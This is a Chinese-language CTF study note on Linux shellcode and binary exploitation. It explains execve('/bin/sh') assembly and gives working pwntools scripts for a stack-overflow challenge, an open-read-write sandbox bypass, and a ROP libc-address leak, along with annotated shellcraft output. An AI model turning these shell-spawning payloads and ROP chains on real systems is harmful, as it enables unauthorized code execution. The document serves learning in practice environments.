objdump#

ROPgadget#

readlf#

r：8 e：4 ax：2 ah，al：1

ljust(宽度, 填充符)：#

这是 Python 字符串/字节流自带的格式化函数。它的意思是：把 shellcode 靠左对齐，如果总长度不够 0x24（十进制 36）个字节，就在右边不断填充 b'\x90'，直到总长度精准达到 36 字节。

汇编代码：#

1
global _start
2
_start:
3

4
    push 0x68732f2f     ;
5
    push 0x6e69622f     ;
6

7
    mov ebx, esp        ;
8

9
    xor ecx, ecx        ;
10
    xor edx, edx        ;
11

12
    mov eax, 0xb        ; 32位的情况
13

14
    int 0x80            ;

这边是从视频内截取出来的简单shellcode，为的是在研究的同时理解汇编的写法。

前两个 global _start 和 _start 就是简单的声明程序入口和入口开始处。

紧接着是两个push，根据上面常用汇编指令的内容，我们可以理解我们将两个0x的16进制数据从下面往上塞，这是由于程序是从高地址向低地址生长的缘故，即到时候在程序里面的排序是这样的：

1
0x68732f2f ;//sh
2
0x6e69622f ;/bin
3
;先push的内容在上方，地址高；而后push的内容在下方，地址低。
4
;注意这里是在正常分析时，实际ida里面依旧是低向高，先push的是在下方，地址高。

16进制转化：/=0x2f|b=0x62|i=0x69|n=0x6e|s=0x73|h=0x68

实际上根据16进制，我们push的内容与我们想要的内容实际是相反的，这里涉及内存的一个知识点叫大端序与小端序。

1
    mov ebx, esp        ;

由于两次push后，我们的栈顶指针向下了8个字节，假设一开始栈顶指针为0xFFFF9，第一次push后栈顶指针为0xFFFF5，第二次push后栈顶指针为0xFFFF1。

mov将第二次push完后的esp即栈顶指针的的数值复制给了ebx即基址寄存器。

ebx = esp-> 0x2f即/bin//sh的第一个斜杠 —> 0xFFFF1

1
    xor ecx, ecx        ;
2
    xor edx, edx        ;

寄存器与自己进行异或，结果为0，是一种非常方便的写法，直接写 mov ecx/edx，0 会导致程序产生许多0，然后出一些奇怪的错误，这边就是想要把两个寄存器的数值令为0。

1
mov eax, 0xb

将eax令为0，虽然eax是累计器，但其也存放系统符号。

而execve在32位中的位置就是11即0xb。

1
int 0x80

所以最后相当于是让linux系统内核取帮我们执行execve(“/bin//sh”，0，0)

即得到一个简单的shell。

64位的系统其实也就是改一下寄存器名字，syscall内的位置，操作一样。

shellcode在溢出中的使用.例1.栈溢出：#

BUUCTF-ciscn_2019_s_9 - -ro0t - 博客园

栈溢出，通过fgets的溢出覆盖rip的返回地址，从而执行我们的shellcode。//手操pwngdb一点一点复现和确认的。

0x24的堆满字节加0x4的ebp字节，剩下10字节。

利用10字节回弹到前面的30字节中，并在30字节内编写shellcode。

payload:#

1
from pwn import *
2

3
p = process("./ciscn_s_9")
4
context.arch = 'i386'
5
context.os = 'linux'
6

7
shellcode_asm = '''
8
xor eax,eax
9
xor edx,edx
10
push edx
11
push 0x68732f2f
12
push 0x6e69622f
13
mov ebx,esp
14
xor ecx,ecx
15
mov al,0xb
16
int 0x80
17
'''
18
shellcode = asm(shellcode_asm) # 汇编成机器码
19
# shellcode
20

21

22
payload = shellcode.ljust(0x24, b'\x90')
23
payload += p32(0x08048554)
24
payload += asm("sub esp, 40; call esp")# 令其再走一遍到我们的开头
25

26
p.sendline(payload)
27
p.interactive()

简单打穿自己的linux，成功复现完成。

---

ORW的简单shellcode.例2：#

题目存在沙箱，只允许沙箱允许的指令执行，也就是如果题目的沙箱不让我们用execve函数，我们就不能按再刚才例题1的做法了，而是要用题目沙箱允许的OPEN READ WRITE来完成shellcode的编写。

由于正常题目的flag都在flag文件中，所以思路总结为：

1.open(‘/flag’) 2.read(3,文件名,0x100) 3.write(1,文件名,0x100)

将flag文件内的内容写入再新文件中，再从新文件中读取flag的内容。

延伸(关于orw)：#

首先orw是linux的系统调用符号，跟单纯的ls，cat，cd等指令不一样，系统调用符号是系统的内置基础函数，而ls之类的之类其实是可执行的二进制文件，cat就相当于open，read，write的连用。在这要做区分。

其次，我们要稍微了解一下 文件描述符 (fd) 与 Stdin/out ：

看了这个就能引出为什么read运用时，前面有个3，那是因为Linux 分配 fd 有个原则：从小到大，找没被占用的最小整数，0，1，2这三个fd在运行程序时显示的终端其实就表示了这三个已经被占用了，所以我们才用到了3，而后面write用到的1是因为我们是要在终端输出上看见flag的内容。

简单讲就是，flag在系统文件中，所以我们得不看0，1，2，毕竟flag不在这里面，而后面write用到1，是因为我们要看到flag的输出。

找了题orw试一试。

读取我们输入的shellcode，并执行。

32位小端序，存在可以执行的数据段，orw可以用，正常system调用被锁死。

直接寻找bss段找个地址，然后写入我们的shellcode。

paylaod:#

1
from pwn import *
2

3
file_path = './orw'
4
context(binary=file_path, os='linux')
5

6
p = remote('node5.buuoj.cn', 26386)
7

8
shellcode = shellcraft.open('/flag')
9
shellcode += shellcraft.read(3, 0x0804A160, 100)
10
shellcode += shellcraft.write(1, 0x0804A160, 100)
11

12
shellcode_asm = asm(shellcode)
13

14
p.recvuntil("shellcode:")
15
p.sendline(shellcode_asm)
16

17
p.interactive()

啧，发生了很离谱的事情，是跟视频里一模一样的原题，但本地打通了，远程却不对，找了份wp的payload抄了一下，也不行，感觉像是题目的问题，但每次这种感觉的时候，就是我打不进去漏洞，然后做不出来。

没招了，找了老版本的ubuntu打通了本地，但远程的还是有问题，初步排查，高版本的vvmap和低版本的不同，低版本基本所有段都可以执行，但高版本就不行。

之后再排查一下。

---

实战orw.1：[HGAME 2023 week1]orw#

初步分析，64位、小端序，如果调用出现execve或者execveat，那就跳转0004，终止，说明又是system的调用失败，必须用orw代替。

NX开启，不能使用简单的栈溢出覆盖返回地址执行我们的shellcode，要使用rop来绕过。 PIE不变，可以直接使用ida里面的地址。

根据vmmap的内容，栈只有读写权限，没有执行权限，cpu是在栈上寻找地址进行执行，而直接写在栈上的shellcode(指正常orw)执行不了，所以要用rop技术让cpu跳转到有执行权限的地方执行shellcode。

思路：具有执行权限的段有：0x401000 - 0x402000（vuln），0x7ffff7df5000 - 0x7ffff7f6d000（libc），通过nm观察，发现程序内甚至没有orw的三个函数，所以我们得利用libc，进行基础泄露，通过基址和偏移计算实函数地址，然后完成rop利用，执行orw链。

好了，思路有了，现在又要进入学习状态，怎么进行地址泄露，这边也要了解一个概念，由于程序是64位的程序。

在 64 位 Linux 系统（x86-64）中，CPU 和编译器达成了一个硬性协议：

• 函数参数优先走寄存器：前 6 个参数必须依次放在 RDI, RSI, RDX, RCX, R8, R9 这六个寄存器里。
• 栈是用来备用的：只有当参数超过 6 个时，剩下的才会放在栈上。

所以我们找到了libc中的地址，也得利用puts函数 (用puts是因为程序里可以用这个，如果有其他相应功能的另外做考虑) ，从寄存器中打印出数据，又因为这个硬性条约，所以我们找到的第一个地址要写入rdi寄存器中，然后读出来。到这里又得引入一个知识点，GOT表：

程序在编译函数的时候，它也不知道这些函数的地址，所以通过动态链接库libc中取找函数的地址，地址是动态变化的，所以即便在当前程序的代码段写入当前函数的地址，那也会因为下一次加载时，地址改变，而崩溃。

这个时候，系统就专门留了一个地方可以读写的内存给程序用，也就是GOT表。

当程序第一次调用某个函数时，会通过延迟绑定的方式，将找到的函数地址写入GOT表中，之后要用这个函数就直接取got表内找。(注:是在一次加载中，而不是这次加载了， 下次再加载地址不变。)

所以我们通过GOT表内的函数地址，调用函数去进行攻击。

1
from pwn import *
2

3
elf = ELF('./vuln')
4
libc = ELF('./libc-2.31.so')
5
p = process('./vuln')
6

7
pop_rdi = 0x401393 #ropgadge找到的地址
8
ret = 0x40101a     # 这个ret是要对齐字节使用的，写了半天，一直失败，问ai才知道的。
9
puts_plt = elf.plt['puts']
10
puts_got = elf.got['puts']
11
main_addr = 0x4012F0  #main函数地址
12

13
# 溢出偏移的计算，ida里有给vuln内部距离栈底的数据0x100h，加上寄存器的字节
14
offset = 0x108
15

16
payload = b'A' * offset
17
payload += p64(ret)      # 16字节对齐
18
payload += p64(pop_rdi)
19
payload += p64(puts_got)
20
payload += p64(puts_plt)
21
payload += p64(main_addr) # 回到 main
22

23
p.recvuntil(b"task.\n")
24
p.sendline(payload)
25

26
leak_data = p.recvline().strip()
27
leak_puts = u64(leak_data.ljust(8, b'\x00'))
28
success(f"Leaked puts address: {hex(leak_puts)}")
29

30
libc_base = leak_puts - libc.sym['puts']
31
success(f"Libc Base: {hex(libc_base)}")
32

33
p.interactive()

1
000000000010dce0  w   DF .text  0000000000000126  GLIBC_2.2.5 __open
2
000000000010dfc0 g    DF .text  0000000000000099  GLIBC_2.2.5 read
3
000000000010e060  w   DF .text  0000000000000099  GLIBC_2.2.5 write

1
open_addr = libc_base + 0x10dce0
2
read_addr = libc_base + 0x10dfc0
3
write_addr = libc_base + 0x10e060

shellcode变形.例1.mrctf2020.shellcode_revenge:#

这题我先以复述做题思路为主。

因为听完了课，感觉这个例题仅仅只是比一半的多了一个字符绕过，其他的知识都相同。

首先通过ida分析程序是会发现一个cmp的比较，它将我们输入的shellcode进行与ascll码比较，从而限制shellcode。

使用工具生成可以用的shellcode 然后编码shellcode发生就行了。

快速生成：#

1
#32位
2
from pwn import *
3
context(log_level = 'debug', arch = 'i386', os = 'linux')
4
shellcode = asm(shellcraft.sh())

相当于：

1
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
2

3
/* 1. 压入目标路径 b'/bin///sh\x00' */
4
push 0x68              ; 压入 'h' 和补齐的 null byte
5
push 0x732f2f2f        ; 压入 's///'
6
push 0x6e69622f        ; 压入 'nib/' (即 '/bin')
7
mov ebx, esp           ; ebx = 栈顶指针 (此时指向 '/bin///sh\x00')
8

9
/* 2. 构造参数数组 argv = ['sh\x00'] */
10
push 0x1010101         ; 压入一个用来异或的 dummy 值
11
xor dword ptr [esp], 0x1016972 ; 栈顶值异或后变成 0x6873 ('sh\x00\x00')
12
xor ecx, ecx           ; ecx 清零
13
push ecx               ; 压入 NULL 截断符
14
push 4                 ; 将 4 压栈
15
pop ecx                ; 弹出到 ecx，此时 ecx = 4
16
add ecx, esp           ; ecx = esp + 4 (跳过 NULL，指向 'sh\x00')
17
push ecx               ; 将指向 'sh\x00' 的指针压栈
18
mov ecx, esp           ; ecx = 栈顶指针 (参数 argv 构造完毕)
19

20
/* 3. 环境变量与系统调用号 */
21
xor edx, edx

1
# 64位
2
from pwn import *
3
context(log_level = 'debug', arch = 'amd64', os = 'linux')
4
shellcode = asm(shellcraft.sh())

相当于：

1
/* execve(path='/bin//sh', argv=0, envp=0) */
2

3
/* 1. 清空 rsi 和 rdx (argv = NULL, envp = NULL) */
4
xor esi, esi           ; rsi 清零 (32位寄存器操作会自动清零高32位，比 xor rsi, rsi 字节更短)
5
xor edx, edx           ; rdx 清零
6

7
/* 2. 压入目标路径 b'/bin//sh\x00' */
8
push rsi               ; 压入 rsi (此时为 0)，作为字符串结尾的 null byte
9
mov rbx, 0x68732f2f6e69622f ; 将 '/bin//sh' (小端序) 存入 rbx
10
push rbx               ; 将 rbx 压栈
11
mov rdi, rsp           ; rdi = 栈顶指针 (此时指向 '/bin//sh\x00')
12

13
/* 3. 系统调用号 */
14
push 59 /* 0x3b */     ; 压入 execve 的系统调用号 59
15
pop rax                ; 弹出到 rax，此时 rax = 59
16

17
/* 4. 触发系统调用 */
18
syscall                ; 陷入内核，执行 execve

pwntools生成的比较复杂，理解来就是为了避免0字节的出现影响程序。